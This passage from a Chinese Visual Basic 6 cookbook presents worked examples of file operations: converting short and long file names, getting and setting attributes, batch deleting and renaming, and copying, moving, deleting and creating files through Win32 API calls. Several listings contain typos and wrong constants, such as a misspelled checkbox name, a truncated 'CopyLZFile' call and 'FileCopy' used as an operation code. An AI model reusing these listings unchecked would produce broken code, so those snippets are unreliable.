（5）在标准模块中创建一个自定义函数，通过使用API函数GetShortPathName来获取指定文件的短文 件名。



Public Function GetShortName(ByVal MyString As String) As String
    Dim tempstr As String                                            '声明字符串类型的变量
    tempstr = String(255, " ")                                        '将字符串设置为长度为255的空格
    GetShortPathName MyString, tempstr, Len(tempstr)                        '获取短文件名
    tempstr = Trim(tempstr)                                        '过滤掉字符串两端的空格
    GetShortName = tempstr                                        '设置函数返回值
End Function




在窗体的CommandButton控件Cmd_Trans的Click事件中调用自定义函数GetShortName，实现短文件名的获取，代码如下：



Private Sub Cmd_Trans_Click()
    Me.Txt_ShortName.Text = GetShortName(Me.Txt_FileName.Text)                '显示长文件名
End Sub




秘笈心法

心法领悟486：路径长度限制。

如果为API函数GetShortName指定的参数长度超过67字节，将无法获取短路径。



 实例487　将短文件名转换为长文件名

光盘位置：光盘\MR\16\487

中级

趣味指数：[image: ]




实例说明

在前面的实例中介绍了将文件名转换为短文件名的方法，在这里将介绍根据短文件名获取长文件名的方法。在正式讲述实现方法前，先看一下程序的运行效果。运行本实例程序，输入短文件名后，单击“获取长文件名”按钮，程序的显示效果如图16.9所示。

[image: ]
图16.9　将短文件名转换为长文件名



关键技术

实现从短文件名转换为长文件名的设计思路为：使用Dir函数根据短文件名称中的部分字符串进行文件的查找。


说明：
 Dir函数的详细讲解请参见实例485中的关键技术。

设计过程

（1）新建标准EXE工程，在工程中添加一个窗体以及一个标准模块。

（2）在窗体中添加两个CommandButton控件，分别命名为Cmd_Close、Cmd_Trans。Cmd_Close的 Caption 属性为“关闭”；Cmd_Trans的Caption属性为“获取长文件名”。

（3）在窗体中添加两个Label控件，分别命名为Label1、Label2。Label1的AutoSize属性为True， BackStyle属性为0-Transparent，Caption属性为“短文件名：”；Label2的AutoSize属性为True，BackStyle属性为0-Transparent，Caption属性为“长文件名：”。

（4）在窗体中添加两个TextBox控件，分别命名为Txt_FileName、Txt_ShortName。

（5）在标准模块中创建一个自定义函数GetLongFilename用来根据短文件名获取长文件名。该自定义函数具有一个形式参数用于传递短文件名，代码如下：



Public Function GetLongFilename(ByVal sShortName As String) As String
    Dim sLongName As String                                        '声明字符串类型变量
    Dim sTemp As String                                            '声明字符串类型变量
    Dim iSlashPos As Integer                                        '声明整型变量
    sShortName = sShortName & "\"                                    '字符串的连接
    iSlashPos = InStr(4, sShortName, "\")                                '获取“\”第一次出现的位置
    While iSlashPos                                            '当“\”出现位置不为0
        sTemp = Dir(Left$(sShortName, iSlashPos - 1), _
                vbNormal + vbHidden + vbSystem + vbDirectory)                '获取文件以及子文件夹名称
        If sTemp = "" Then                                        '当获取的名称不为空字符串
            GetLongFilename = ""                                    '函数返回值内容为空字符串
            Exit Function                                        '跳出过程
        End If
        '字符串连接，用于获取对象的路径
        sLongName = sLongName & "\" & sTemp
        iSlashPos = InStr(iSlashPos + 1, sShortName, "\")                        '获取“\”出现的位置
    Wend
    GetLongFilename = Left$(sShortName, 2) & sLongName                        '返回长文件名
End Function




在窗体的CommandButton控件Cmd_Trans的Click事件中调用自定义函数GetLongFilename，实现从短文件名至长文件名的转化，代码如下：



Private Sub Cmd_Trans_Click()
    Me.Txt_ShortName.Text = GetLongFilename(Me.Txt_FileName.Text)                '在文本框中显示长文件名称
End Sub




秘笈心法

心法领悟487：文件名的返回顺序。

由于文件名并不会以特别的次序来返回，所以可以将文件名存储在一个数组中，然后再对这个数组排序。



 实例488　获得文件的属性

光盘位置：光盘\MR\16\488

初级

趣味指数：[image: ]




实例说明

本实例用于获得文件的属性。运行程序，单击<<按钮，选择要获得属性的文件，然后单击“获取”按钮，即可在下面的标签中显示该文件的类型，如图16.10所示。

[image: ]
图16.10　获得文件的属性



关键技术

利用GetAttr函数的返回值可以反映一个文件、目录或文件夹的属性，语法如下：



GetAttr(pathname)




其中，pathname用来指定一个文件名的字符串表达式，可以包含目录或文件夹，以及驱动器。GetAttr函数的返回值是表16.1所示的属性值的总和。

表16.1　GetAttr函数的返回值



	常数
	值
	说明



	vbNormal
	0
	常规



	vbReadOnly
	1
	只读



	vbHidden
	2
	隐藏



	vbSystem
	4
	系统文件



	vbDirectory
	16
	目录或文件夹



	vbArchive
	32
	上次备份以后，文件已经改变




例如，获取工程所在路径下文件TESTFILE的属性，代码如下：



Dim MyAttr
MyAttr = GetAttr("TESTFILE")                                        '获取属性




设计过程

（1）新建标准EXE工程。

（2）在窗体中添加3个CommandButton控件，分别命名为Command1、Command2、Command3。分别设置Command1的Caption属性为“获取”；Command2的Caption属性为“退出”；Command3的Caption属性为“<<”。

（3）在“部件”对话框中选中Microsoft Common Dialog Control 6.0复选框，添加CommonDialog控件。

（4）在窗体中添加一个Frame控件，命名为Frame1。

（5）在窗体中添加两个Labe控件，分别命名为Label1、Label2。Label1的AutoSize属性为True，Label2的AutoSize属性为True，并且Caption属性为“选择文件”。

（6）在窗体中添加一个TextBox控件，命名为Text1。

（7）在CommandButton控件Command1的Click事件中的代码用于获取选中文件的属性，代码如下：



Private Sub Command1_Click()   '获取文件属性
    Dim i As Integer                                            '声明变量
    i = GetAttr(CommonDialog1.FileName)                                '获取文件属性
    Select Case i                                                '对GetAttr函数返回值进行判断
    Case 0
        Label1.Caption = "常规文件"
    Case 1
        Label1.Caption = "只读文件"
    Case 2
        Label1.Caption = "隐藏文件"
    Case 4
        Label1.Caption = "系统文件"
    Case 16
        Label1.Caption = "目录或文件夹"
    Case 32
        Label1.Caption = "上次备份以后，文件已经改变"
    Case 64
        Label1.Caption = "指定的文件名是别名"
    Case Else  '其他组合的情况就不再一一列举了
        Label1.Caption = "其他组合情况，这里不一一列举！"
    End Select
End Sub




秘笈心法

心法领悟488：文件多属性的获取。

若要判断是否设置了某个属性，在GetAttr函数与想要得知的属性值之间使用And运算符以逐位比较。如果所得的结果不为0，则表示设置了这个属性值。



 实例489　设置文件属性

光盘位置：光盘\MR\16\489

中级

趣味指数：[image: ]




实例说明

本实例用于设置被选中的文件的属性。运行程序，在文件列表框中选择某文件显示该文件的当前属性，如图16.11所示。重新设置文件属性如图16.12所示。



	[image: ]
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	图16.11　获取文件当前属性
	图16.12 设置新文件属性




关键技术

利用SetAttr语句可以设置文件的属性，语法如下：



SetAttr pathname, attributes




参数说明

❶pathname：必选参数。用来指定一个文件名的字符串表达式，可能包含目录或文件夹以及驱动器。

❷attributes：必选参数。常数或数值表达式，其总和用来表示文件的属性。设置值如表16.2所示。

表16.2 attributes参数的设置值



	常数
	值
	说明



	vbNormal
	0
	常规（默认值）



	vbReadOnly
	1
	只读



	vbHidden
	2
	隐藏



	vbSystem
	4
	系统文件



	vbArchive
	32
	上次备份以后，文件已经改变




例如，使用SetAttr语句来设置工程路径下文件TESTFILE的属性。

将文件设置为隐藏属性，代码如下：



SetAttr"TESTFILE", vbHidden                                    '设置隐含属性




将文件属性设置为隐藏并只读，代码如下：



SetAttr"TESTFILE", vbHidden + vbReadOnly                            '设置隐含并只读




设计过程

（1）新建标准EXE工程。

（2）在窗体中添加4个CheckBox控件，分别命名为Chk_Archive、Chk_Hidden、Chk_ReadOnly、Chk_ System。Chk_Archive的Caption属性为“存档”；Chk_Hidden的Caption属性为“隐藏”；Chk_ReadOnly的Caption属性为“只读”；Chk_System的Caption属性为“系统”。

（3）在窗体中添加一个CommandButton控件，命名为Cmd_SetAttrib。Cmd_SetAttrib的Caption属性为 “确定”。

（4）在窗体中添加一个DirListBox控件，命名为Dir1。

（5）在窗体中添加一个DriveListBox控件，命名为Drive1。

（6）在窗体中添加一个FileListBox控件，命名为File1。

（7）在窗体中添加一个Frame控件，命名为Frm_Attrib。Frm_Attrib的Caption属性为“文件属性”。

（8）在CommandButton控件Cmd_SetAttrib的Click事件中的代码用于设置文件属性，代码如下：



Private Sub Cmd_SetAttrib_Click()
    On Error Resume Next                                                '忽略异常
    Dim i As Integer                                                '声明整型变量
    If Chk_Archive.Value = 1 Then                                        '当选中“存档”复选框
        i = i + vbArchive                                                '增加属性值
    End If
    If Chk_System.Value = 1 Then                                        '当选中“系统”复选框
        i = i + vbSystem                                                '增加属性值
    End If
    If Chk_Hidden.Value = 1 Then                                        '当选中“隐藏”复选框
        i = i + vbHidden                                                '增加属性值
    End If
    If Chk_RaedOnly.Value = 1 Then                                        '当选中“只读”复选框
        i = i + vbReadOnly                                            '增加属性值
    End If
    FileSystem.SetAttr File1.Path & "\" & File1.FileName, i                            '设置文件属性
    If Err.Number = 0 Then                                            '当设置属性无错误
        MsgBox "文件属性设置成功", vbInformation                            '弹出对话框提示成功
    Else                                                        '否则
        MsgBox "文件属性设置失败", vbCritical                                '弹出对话框提示失败
    End If
End Sub




秘笈心法

心法领悟489：被设置属性文件的状态。

如果欲设置某文件的属性，那么前提就是关闭正处于打开状态的文件。如果为一个已打开的文件设置属性，则会产生运行时错误。


 16.2　文件基本操作



 实例490　批量删除指定类型的文件

光盘位置：光盘\MR\16\490

中级

趣味指数：[image: ]




实例说明

本实例主要实现批量删除指定文件夹中指定类型的文件。运行程序，选择要删除的文件所在的文件夹，在“扩展名”下拉列表框中选择要删除的文件的扩展名，窗体右侧的文件列表中将会显示当前路径下所有该扩展名的文件，单击“确定”按钮将列表中的所有文件删除，实例运行结果如图16.13所示。

[image: ]
图16.13　批量删除指定类型的文件



关键技术

在For循环语句中嵌套Kill语句完成批量删除指定类型文件的功能。

（1）For…Next语句：以指定次数来重复执行一组语句。

语法如下：



For counter = start To end [Step step]
[statements]
[Exit For]
[statements]
Next [counter]




参数说明如表16.3所示。

表16.3 For…Next语句的参数说明



	参数
	说明



	counter
	必选参数。用作循环计数器的数值变量。这个变量不能是布尔或数组元素



	start
	必选参数。counter的初值



	end
	必选参数，counter的终值



	step
	可选参数。counter的步长。如果没有指定，则step的默认值为1



	statements
	可选参数。放在For和Next之间的一条或多条语句，它们将被执行指定的次数




（2）Kill语句：删除文件。

语法如下：



Kill Path




参数说明

Path：删除文件所在的路径。

设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体上添加一个DriveListBox控件、一个DirListBox控件和一个FileListBox控件；添加两个Label控件和一个TextBox控件；添加一个ComboBox控件，在控件的List属性中添加JPG、EXE、BMP、DOC、TXT和*；添加两个CommandButton控件，分别设置Caption属性为“确定”和“退出”。

（3）在CommandButton控件的Click事件中通过使用For…Next语句以及Kill语句实现批量删除指定类型的文件功能，代码如下：



Private Sub Command1_Click()
    On Error Resume Next                                            '忽略异常
    If File1.ListCount > 0 Then                                        '当文件列表项数量大于0
        For i = 0 To File1.ListCount - 1                                    '循环起点0，终点为列表项数量减1
            File1.ListIndex = i                                        '根据循环变量值选择当前项
            Kill File1.Path & "\" & File1.FileName                            '删除文件
        Next i
        File1.Refresh                                            '列表项刷新
        MsgBox "所选择的文件已经全部删除!", 64, "提示信息"                    '提示删除完成
    Else
        MsgBox "请您选择所要删除的文件!", 64, "提示信息"                    '提示选择文件
    End If
End Sub




秘笈心法

心法领悟490：列表项多重选择时的当前项下标。

在列表项被多重选择时，ListIndex属性返回包含在焦点矩形内的项目的索引，而不管该项目是否被选。



 实例491　批量重命名文件

光盘位置：光盘\MR\16\491

中级

趣味指数：[image: ]




实例说明

在Windows操作系统中可以实现重命名文件的操作，但却无法实现批量重命名。通过编写应用程序可以实现批量重命名文件。运行程序，选择要进行重命名的文件所在的文件夹，在“新文件名”文本框中输入修改后的文件名称，单击“确定”按钮，选中文件夹中的文件将被按照顺序重新命名，实例的运行结果如图16.14所示。

[image: ]
图16.14　批量重命名文件



关键技术

利用Name语句实现文件重命名的功能，通过For循环来控制实现批量重命名文件。

使用Name语句可以重新命名一个文件、目录或文件夹，语法如下：



Name oldpathname As newpathname




参数说明

❶oldpathname：必选参数。字符串表达式，指定已存在的文件名和位置，可以包含目录或文件夹以及驱动器。

❷newpathname：必选参数。字符串表达式，指定新的文件名和位置，可以包含目录或文件夹以及驱动器。而由newpathname所指定的文件名不能存在。

设计过程

（1）新建一个标准工程，创建一个新窗体。

（2）在窗体上添加一个DriveListBox控件、一个DirListBox控件和一个FileListBox控件。

（3）在窗体上添加一个Frame控件，设置Caption属性为空。

（4）在Frame1控件中添加3个Label控件和两个TextBox控件；添加一个ComboBox 控件，在控件的 List属性中添加jpg、exe、bmp、doc和txt。

（5）在窗体上添加两个CommandButton控件，分别设置Caption属性为“确定”和“退出”。

（6）在CommandButton控件的Click事件中通过使用For…Next语句以及Name语句实现批量重命名文件的功能，代码如下：



Private Sub Command1_Click()
    Dim tt As String                                                '声明字符串类型变量
    Dim dd As String                                                '声明字符串类型变量
    If File1.ListCount > 0 Then                                            '当列表项数量大于0
        On Error GoTo x                                                '错误处理
        For i = 0 To File1.ListCount - 1                                        '循环起点0，终点为列表项数量减1
            File1.ListIndex = i                                            '根据循环变量值选择当前项
            dd = File1.Path & "\" & File1.FileName                                '被选中文件的路径
            '指定重命名后的路径以及文件名称
            tt = File1.Path & "\" & Text1.Text & i + 1 & "." & Combo1.Text
            Name dd As tt                                            '重命名文件
        Next i
        File1.Refresh                                                '列表项刷新
    Else
        MsgBox "请选择要更改的文件名称"                                    '弹出对话框提示选择文件
    End If
    Exit Sub                                                        '跳出过程
x:
    MsgBox "更名后的文件名称不能与原文件的名称相同", 64, "提示信息"                '错误提示
End Sub




秘笈心法

心法领悟491：被重命名的文件只能移动到已存在的目录或文件夹中。

使用Name语句可以重新命名文件并将其移动到一个不同的目录或文件夹中。使用Name语句也可以进行跨驱动器的移动文件。但在移动文件时，使用Name语句不能创建新文件、目录或文件夹。



 实例492　删除文件

光盘位置：光盘\MR\16\492

初级

趣味指数：[image: ]




实例说明

本实例用于删除被选中的文件。运行本实例程序，选中文件后单击“删除”按钮，弹出是否删除文件的提示框，如图16.15所示。单击提示对话框中的“是(Y)”按钮后将选中的文件删除。

[image: ]
图16.15　删除文件



关键技术

Kill语句用于从磁盘中删除文件，语法如下：



Kill pathname




参数说明

pathname：必选参数，用来指定一个文件名的字符串表达式。pathname可以包含目录或文件夹以及驱动器。


注意：
 Kill语句是从驱动器中删除一个或多个文件，作用就像Windows操作系统中的Shift+Delete键一样，所以使用时要谨慎，而且Kill语句允许使用“？”与“*”通配符。

设计过程

（1）新建标准EXE工程。

（2）在窗体中添加两个CommandButton控件，分别命名为Command1、Command2。Command1的Caption 属性为“删除”；Command2的Caption属性为“退出”。

（3）在窗体中添加一个DirListBox控件，命名为Dir1。

（4）在窗体中添加一个DriveListBox控件，命名为Drive1。

（5）在窗体中添加一个FileListBox控件，命名为File1。

（6）在窗体中添加一个Frame控件，命名为Frame1。

（7）在CommandButton控件Command1的Click事件过程中通过使用Kill语句删除被选中的文件，代码如下：



Private Sub Command1_Click()
    If MsgBox("是否确认删除！", 52, "提示信息") = vbYes Then                    '提示信息
        Kill File1.Path & "\" & File1.FileName                            '删除指定路径下的文件
        File1.Refresh                                            '文件列表框刷新
    End If
End Sub




秘笈心法

心法领悟492：通配符的使用。

在Microsoft Windows中，可以在Kill语句的参数中使用多字符（*）和单字符（?）通配符来指定多重文件。



 实例493　利用FileCopy语句复制文件

光盘位置：光盘\MR\16\493

中级

趣味指数：[image: ]




实例说明

本实例实现了利用FileCopy语句复制文件的功能，选择要复制的文件以及要复制的地址，然后单击“复制”按钮，即可将Text1中的文件复制到Text2中，在复制完成后会出现复制成功的提示信息，如图16.16所示。

[image: ]
图16.16　利用FileCopy语句复制文件



关键技术

利用FileCopy语句可以复制一个文件，语法如下：



FileCopy source, destination




参数说明

❶source：必选参数。字符串表达式，用来表示要被复制的文件名。source参数可以包含目录或文件夹以及驱动器。

❷destination：必选参数。字符串表达式，用来指定要复制的目的文件名。destination参数可以包含目录或文件夹以及驱动器。

设计过程

（1）新建标准EXE工程。

（2）新建一个窗口，命名为Form1。

（3）在窗体上添加4个CommandButton控件，分别命名为Command1、Command2、Command3、Command4。其中Command1的Caption属性为“复制”；Command2的Caption属性为“退出”；Command3的Caption属性为“<<”；Command4的Caption属性为“<<”。

（4）在“部件”对话框中选中Microsoft Common Dialog Control 6.0复选框，添加CommonDialog控件。

（5）在窗体中添加一个Frame控件，命名为Frame1。

（6）在窗体中添加两个Label控件，分别命名为Label1、Label2。Label1的AutoSize属性为True，并且Caption属性为“选择要复制的文件”；Label2的AutoSize属性为True，Caption属性为“选择要复制的地址”。

（7）在窗体中添加两个TextBox控件，分别命名为Text1、Text2。

（8）在CommandButton控件Command3的Click事件中的代码用于选择源文件的路径，代码如下：



Private Sub Command3_Click()
    CommonDialog1.ShowSave                                            '显示保存对话框
    Text2.Text = CommonDialog1.FileName                                    '显示文件名称
End Sub




在CommandButton控件Command4的Click事件中的代码用于复制文件的路径，代码如下：



Private Sub Command4_Click()
    CommonDialog1.ShowOpen                                            '显示打开对话框
    Text1.Text = CommonDialog1.FileName                                    '显示文件名称
End Sub




在CommandButton控件Command1的Click事件中的代码用于进行文件复制的操作，代码如下：



Private Sub Command1_Click()
    If Text1.Text = "" Or Text2.Text = "" Then                                    '两个文本框内容都不为空
        MsgBox "输入不能为空值"
    Else
        FileCopy Text1.Text, Text2.Text                                    '复制文件
        MsgBox "文件复制成功！", vbInformation, "明日图书"
    End If
End Sub




秘笈心法

心法领悟493：已打开文件复制时的错误。

如果想要对一个已打开的文件使用FileCopy语句，则会产生错误。



 实例494　利用API函数MoveFile移动文件

光盘位置：光盘\MR\16\494

中级

趣味指数：[image: ]




实例说明

本实例利用MoveFile函数移动文件。运行程序，选择好要移动的文件和移动的目标位置，然后单击“移动”按钮，即可将文件从原位置移动到新位置中，并提示成功信息，如图16.17所示。

[image: ]
图16.17　利用MoveFile函数移动文件



关键技术

利用API函数MoveFile可以将一个文件从原位置移动到目标位置，语法如下：



Public Declare Function MoveFile Lib "kernel32" Alias "MoveFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String) As Long




MoveFile函数的参数说明如表16.4所示。

表16.4 MoveFile函数的参数说明



	参数
	说明



	lpExistingFileName
	String类型的值，欲移动的文件名



	lpNewFileName
	String类型的值，新文件名




例如，将工程文件下的MyFile.txt文件移动到C盘根目录下，程序代码如下：



MoveFile "MyFile.txt", "C:\ MyFile.txt"





说明：
 API函数MoveFile返回值为非0表示成功，0表示失败。

设计过程

（1）新建标准EXE工程。

（2）在开发环境的“部件”对话框中添加Shockwave Flash控件。

（3）  在窗体上添加4个CommandButton控件，分别命名为Command1、Command2、Command3、Command4。Command1的Caption属性为“移动”；Command2的Caption属性为“退出”；Command3的Caption为“<<”；Command4的Caption属性为“<<”。

（4）在“部件”窗口中选中Microsoft Common Dialog Control 6.0复选框，添加CommonDialog控件。

（5）添加一个Frame控件，命名为Frame1。

（6）添加两个Label控件，Label1的AutoSize属性为True，Caption属性为“原位置”；Label2的AutoSize属性为True，Caption属性为“目标位置”。

（7）添加两个TextBox控件，分别命名为Text1、Text2。

（8）在CommandButton控件Command1的Click事件中的代码用于移动文件，代码如下：



Private Sub Command1_Click()
    If Text1.Text = "" Or Text2.Text = "" Then                                '当两个文本框中的内容都不为空
        MsgBox "输入不能为空值"
    Else
        MoveFile Text1.Text, Text2.Text                                '实现文件移动的过程
        MsgBox "文件移动成功！", vbInformation, "明日图书"
    End If
End Sub




秘笈心法

心法领悟494：API函数MoveFileEx与MoveFile的区别。

API函数MoveFileEx需要比MoveFile多指定一个参数，该参数用于指定文件移动形式。例如，将该参数设置为常数MOVEFILE_REPLACE_EXISTING代表如果目标文件已存在就替换该文件。



 实例495　利用API函数SHFileOperation复制文件

光盘位置：光盘\MR\16\495

中级

趣味指数：[image: ]




实例说明

本实例利用API函数SHFileOperation复制文件。运行程序，选择要复制的文件和复制的位置，单击“复制”按钮，开始复制文件，如图16.18所示。

[image: ]
图16.18　利用API函数SHFileOperation复制文件



关键技术

使用SHFileOperation函数可以对文件进行复制、移动以及重命名，在本实例中通过使用它来对文件进行复制。SHFileOperation函数的声明方法如下：



Public Declare Function SHFileOperation Lib "shell32.dll" Alias "SHFileOperationA" (lpFileOp As SHFILEOPSTRUCT) As Long




参数说明

❶lpFileOp：包含指定操作信息的SHFILEOPSTRUCT结构地址。

❷SHFILEOPSTRUCT结构如下：



Public Type SHFILEOPSTRUCT
    hWnd As Long
    wFunc As Long
    pFrom As String
    pTo As String
    fFlags As Integer
    fAborted As Boolean
    hNameMaps As Long
    sProgress As String
End Type




SHFILEOPSTRUCT结构成员及说明如表16.5所示。

表16.5　SHFILEOPSTRUCT 结构成员及说明



	参数
	类型
	说明



	hWnd
	Long
	显示文件操作状况信息的对话框的窗口句柄



	wFunc
	Integer
	用于指定操作类型



	pFrom
	String
	用于指定原文件的路径



	pTo
	String
	用于指定目标路径



	fFlags
	Long
	控制文件操作的标识



	fAborted
	Boolean
	如果在操作完成前用户终止操作，则返回值为True；如果操作完成则返回值为False



	hNameMaps
	Long
	文件名映射的句柄



	sProgress
	String
	用来指定对话框标题的字符串




例如，执行删除文件夹的操作，代码如下：



With SHDirOp
    .wFunc = FO_DELETE                                        '指定操作类型为“删除”
    .pFrom = "C:\Filter"                                            '指定被删除文件夹路径及名称
End With
SHFileOperation SHDirOp                                            '删除文件夹




设计过程

（1）新建标准EXE工程。

（2）在窗体中添加4个CommandButton控件，分别命名为Command1、Command2、Command3、 Command4。Command1的Caption属性为“<<”；Command2的Caption属性为“<<”；Command3的Caption属性为“复制”；Command4的Caption属性为“退出”。

（3）在“部件”对话框中选中Microsoft Common Dialog Control 6.0复选框，添加CommonDialog控件。

（4）在窗体中添加一个Frame控件，命名为Frame1。

（5）在窗体中添加两个Label控件，分别命名为Label1、Label2。Label1的AutoSize属性为True，Caption属性为“要复制的文件”；Label2的AutoSize属性为True，Caption的属性为“复制到的位置”。

（6）在窗体中添加两个TextBox控件，分别命名为Text1、Text2。

（7）在CommandButton控件Command3的Click事件中的代码用于复制文件，代码如下：



Private Sub Command3_Click()
    If Text1.Text = "" Or Text2.Text = "" Then                                '当两个文本框中的内容都不为空
        MsgBox "请选择所要复制的原文件与目标文件", vbInformation, "明日图书"
    Else
        With FileOp                                            '设置成员属性
            .wFunc = FileCopy
            .pFrom = Text1.Text
            .pTo = Text2.Text
        End With
        Dim ret As Integer
        ret = SHFileOperation(FileOp)                                     '实现文件移动的过程
        If ret = 0 Then
            MsgBox "文件复制成功！", vbInformation, "明日图书"
        Else
            MsgBox "文件复制失败！", vbInformation, "明日图书"
        End If
    End If
End Sub




秘笈心法

心法领悟495：复用语句的使用。

在对同一对象的多个属性进行同时设置时，通过对复用语句的使用，再调用对象属性的名称。



 实例496　使用API函数CopyFile复制文件

光盘位置：光盘\MR\16\496

中级

趣味指数：[image: ]




实例说明

本实例利用API函数CopyFile复制文件。运行程序，选择要复制的文件和复制的位置，单击“复制”按钮开始复制文件，如图16.19所示。

[image: ]
图16.19　使用API函数CopyFile复制文件



关键技术

API函数CopyFile用于文件复制，其使用方法与VB自带的FileCopy语句类似。API函数CopyFile的声明方法如下：



Public Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long




参数说明

❶lpExistingFileName：类型String，源文件名。

❷lpNewFileName：类型String，目标文件名。

❸bFailIfExists：类型Long，如果设为True（非0），那么一旦目标文件已经存在，则函数调用会失败。否则目标文件被改写。

例如，将C盘根目录下的test1.txt备份为text2.txt，代码如下：



CopyFile "c:\test1.txt", "c:\test2.txt", 1




设计过程

（1）新建标准EXE工程。

（2）新建一个窗口，命名为Form1。

（3）在窗体上添加4个CommandButton控件，分别命名为Command1、Command2、Command3、Command4。其中Command1的Caption属性为“复制”；Command2的Caption属性为“退出”；Command3的Caption属性为“<<”；Command4的Caption属性为“<<”。

（4）在“部件”对话框中选中Microsoft Common Dialog Control 6.0复选框，添加CommonDialog控件。

（5）在窗体中添加一个Frame控件，命名为Frame1。

（6）在窗体中添加两个Label控件，分别命名为Label1、Label2。Label1的AutoSize属性为True，并且Caption属性为“要复制的文件”；Label2的AutoSize属性为True，Caption属性为“复制到的位置”。

（7）文件复制功能是在CommandButton控件Command3的Click事件中实现的，代码如下：



Private Sub Command3_Click()
    If Text1.Text = "" Or Text2.Text = "" Then
        MsgBox "请选择所要复制的原文件与目标文件", vbInformation, "明日图书"
    Else
        CopyFile Text1.Text, Text2.Text, False
        MsgBox "文件复制成功！", vbInformation, "明日图书"
    End If
End Sub




秘笈心法

心法领悟496：复制文件重命名。

将API函数CopyFile的bFailIfExists参数值设置为True，如果目标文件已经存在，则函数调用会失败。通过捕获上述异常，可以判断目标是否存在，如果已存在，那么就对目标文件名称进行更改。



 实例497　使用API函数DeleteFile删除文件

光盘位置：光盘\MR\16\497

中级

趣味指数：[image: ]




实例说明

本实例利用API函数DeleteFile删除文件。运行程序，选择要删除的文件，单击“删除”按钮，即可将选中的文件删除，如图16.20所示。

[image: ]
图16.20　使用API函数DeleteFile删除文件



关键技术

API函数DeleteFile用于删除文件，语法如下：



Public Declare Function DeleteFile Lib "kernel32" Alias "DeleteFileA" (ByVal lpFileName As String) As Long




参数说明

lpFileName：类型String，欲删除文件的名字。

例如，删除C盘根目录下的test.txt，代码如下：



DeleteFile "c:\test.txt"




设计过程

（1）新建标准EXE工程。

（2）在窗口中添加两个CommandButton控件，分别命名为Command1、Command2。Command1的Caption属性为“删除”；Command2的Caption属性为“退出”。

（3）在窗口中添加一个DirListBox控件，命名为Dir1。

（4）在窗口中添加一个DriveListBox控件，命名为Drive1。

（5）在窗口中添加一个FileListBox控件，命名为File1。

（6）在窗口中添加一个Frame控件，命名为Frame1。

（7）文件删除功能是在CommandButton控件Command1的Click事件中实现的，代码如下：



Private Sub Command1_Click()
    If MsgBox("是否确认删除！", 52, "提示信息") = vbYes Then
        DeleteFile File1.Path & "\" & File1.FileName
        File1.Refresh
    End If
End Sub




秘笈心法

心法领悟497：删除被占用的文件。

使用DeleteFile函数删除文件时即使文件当前正由一个应用程序打开，该函数也会将其删除。



 实例498　使用API函数CopyLZFile复制文件

光盘位置：光盘\MR\16\498

中级

趣味指数：[image: ]




实例说明

本实例利用API函数CopyLZFile复制文件。运行程序，选择要复制的文件和复制的位置，单击“复制”按钮，开始复制文件，如图16.21所示。

[image: ]
图16.21　使用API函数CopyLZFile复制文件



关键技术

API函数CopyLZFile虽然是一个老旧的函数，但是它依然有效，语法如下：



Public Declare Function CopyLZFile Lib "lz32" (ByVal n1 As Long, ByVal n2 As Long) As Long




参数说明

❶n1：类型Long，被打开源文件的句柄。

❷n2：类型Long，被打开目标文件名的句柄。

例如，将C盘根目录下的test1.txt备份为text2.txt，代码如下：



Decomp = OpenFile("C:\test1.txt", OF, OF_READ)
Result = OpenFile("C:\test2.txt", OF, OF_WRITE Or OF_CREATE)
opyLZFile hDecomp, hResult




设计过程

（1）新建标准EXE工程。

（2）新建一个窗口，命名为Form1。

（3）在窗体上添加4个CommandButton控件，分别命名为Command1、Command2、Command3、Command4。其中Command1的Caption属性为“复制”；Command2的Caption属性为“退出”；Command3的Caption属性为“<<”；Command4的Caption属性为“<<”。

（4）在“部件”对话框中选中Microsoft Common Dialog Control 6.0复选框，添加CommonDialog控件。

（5）在窗体中添加一个Frame控件，命名为Frame1。

（6）在窗体中添加两个Label控件，分别命名为Label1、Label2。Label1的AutoSize属性为True，Caption属性为“要复制的文件”；Label2的AutoSize属性为True，Caption属性为“复制到的位置”。

（7）创建自定义过程FileCopyZ用来实现文件的复制。它具有两个形式参数，分别用于传递源文件路径以及名称、目标文件的路径以及名称。过程内部的代码如下：



Private Sub FileCopyZ(ByVal sFile As String, ByVal sSaveTo As String)
    Dim hDecomp As Long, hResult As Long                                '声明长整型变量
    Dim OF As OFSTRUCT                                        '声明OFSTRUCT结构变量
    hDecomp = OpenFile(sFile, OF, OF_READ)                            '打开文件，用于读取
    hResult = OpenFile(sSaveTo, OF, OF_WRITE Or OF_CREATE)                '打开文件，创建并写入
    CopyLZFile hDecomp, hResult                                    '文件复制
    CloseHandle hDecomp                                            '关闭文件句柄
    CloseHandle hResult                                            '关闭文件句柄
End Sub




在CommandButton控件Command3的Click事件中调用自定义过程FileCopyZ，实现文件的复制，代码如下：



Private Sub Command3_Click()
    '当已输入原文件以及目标文件路径以及名称
    If Text1.Text = "" Or Text2.Text = "" Then
        MsgBox "请选择所要复制的原文件与目标文件", vbInformation, "明日图书"
    Else
        FileCopyZ Text1.Text, Text2.Text                                '复制文件
        MsgBox "文件复制成功！", vbInformation, "明日图书"
    End If
End Sub




秘笈心法

心法领悟498：文件的关闭。

进行文件复制后，需要将原文件以及目标文件关闭，否则文件将处于被占用的状态。关闭文件在本实例中是通过使用API函数CloseHandle根据文件的句柄选择被关闭的文件。



 实例499　使用API函数创建文本文件

光盘位置：光盘\MR\16\499

中级

趣味指数：[image: ]




实例说明

本实例使用API函数lcreat、lwrite创建文本文件并写入数据。运行程序，在文本框中输入需要在文本文件中保存的数据，单击“创建文本文件”按钮，在“打开”对话框中指定保存的名称，单击“确定”按钮即可实现本实例的功能，如图16.22所示，创建后的文件内容如图16.23所示。
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	图16.22　创建文本文件
	图16.23　创建后的文件内容




关键技术

（1）创建文件

使用API函数lcreat创建一个文件。如果文件已经存在，就会将其缩短成0长度，并将其打开，以便读写。API函数lcreat声明方法如下：



Public Declare Function lcreat Lib "kernel32" Alias "_lcreat" (ByVal lpPathName As String, ByVal iAttribute As Long) As Long




参数说明

❶lpPathName：String，欲创建的文件名字。

❷iAttribute：Long，可以为下述值之一：


	0——文件能够读写。

	1——创建只读文件。

	2——创建隐藏文件。

	3——创建系统文件。



例如，在C盘根目录下创建名称为test的文本文件，代码如下：



lcreat"C:\test.txt",0




（2）将数据写入文件

使用API函数lcreat创建文件后需要使用API函数lwrite进行数据的写入。API函数lwrite的声明方法如下：



